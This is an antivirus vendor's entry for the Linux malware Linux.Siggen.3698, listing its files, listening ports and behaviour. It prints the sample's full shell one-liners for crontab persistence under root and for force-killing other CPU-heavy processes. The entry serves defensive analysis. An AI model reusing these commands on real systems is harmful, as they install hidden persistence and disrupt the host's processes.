JavaScript support is required for our site to be fully operational in your browser.
Linux.Siggen.3698
Added to the Dr.Web virus database:
2021-02-27
Virus description added:
2021-02-27
Technical Information
To ensure autorun and distribution:
Creates or modifies the following files:
/var/spool/cron/crontabs/root
Malicious functions:
Launches itself as a daemon
Launches processes:
sh -c ps -A -osta
ps -A -osta
awk /[zZ]/ && !a[$2]++ {print $2}
sh -c dir=`pwd 2>/dev/null`;rm -rf $dir/.cron 2>/dev/null;crontab -l 2>/dev/null | grep -v grep 2>/dev/null | grep -v '<SAMPLE_FULL_PATH>' 2>/dev/null > .cron 2>/dev/null;echo '* * * * * '$dir/'<SAMPLE_FULL_PATH> > /dev/null 2>&1;' >> .cron 2>/dev/null; if [ $(crontab -l 2>/dev/null | grep -v grep 2>/dev/null | grep '<SAMPLE_FULL_PATH>$' 2>/dev/null | sort 2>/dev/null | uniq 2>/dev/null | wc -l 2>/dev/null) -eq '0' ]; then crontab $dir/.cron 2>/dev/null; fi;rm -rf $dir/.cron 2>/dev/null
rm -rf /root/.cron
crontab -l
grep -v grep
grep -v <SAMPLE_FULL_PATH>
grep <SAMPLE_FULL_PATH>$
sort
uniq
wc -l
crontab /root/.cron
sh -c if [ `id -u 2>/dev/null` -eq '0' ]; then if [ `ps aux 2>/dev/null | grep -v grep 2>/dev/null | grep -- '[md][[:space:]]*$' 2>/dev/null | awk '{if($3>30.0) print $2}' 2>/dev/null | wc -l 2>/dev/null` -gt 1 ]; then ps aux 2>/dev/null | grep -v grep 2>/dev/null | grep -- '[md][[:space:]]*$' 2>/dev/null | awk '{if($3>30.0) print $2}' 2>/dev/null | while read procid; do kill -9 $procid 2>/dev/null; done fi else myid=`whoami 2>/dev/null`; if [ `ps -u $myid ux 2>/dev/null | grep -v grep 2>/dev/null | grep -- '[md][[:space:]]*$' 2>/dev/null | awk '{if($3>30.0) print $2}' 2>/dev/null | wc -l 2>/dev/null` -gt 1 ]; then ps -u $myid ux 2>/dev/null | grep -v grep 2>/dev/null | grep -- '[md][[:space:]]*$' 2>/dev/null | awk '{if($3>30.0) print $2}' 2>/dev/null | while read procid; do kill -9 $procid 2>/dev/null; done fi fi
id -u
ps aux
grep -- [md][[:space:]]*$
awk {if($3>30.0) print $2}
Performs operations with the file system:
Modifies file access rights:
/var/spool/cron/crontabs/tmp.hF4E2I
Creates or modifies files:
/root/cert_key.pem
/root/cert.pem
/root/.cron
/var/spool/cron/.cron
/var/spool/cron/crontabs/tmp.hF4E2I
/tmp/.lock
Deletes files:
Locks files:
Network activity:
Awaits incoming connections on ports:
0.0.0.0:5190
0.0.0.0:80
0.0.0.0:443
0.0.0.0:33033
Establishes connection:
DNS ASK:
Other:
Collects CPU information
Collects RAM information
Collects information about network activity
Curing recommendations
Linux
Free trial
One month (no registration) or three months (registration and renewal discount)
Download Dr.Web for Android
Free three-month trial
All protection features available
Renew your trial license in AppGallery/on Google Pay
By continuing to use this website, you are consenting to Doctor Web’s use of cookies and other technologies related to the collection of visitor statistics. Learn more
OK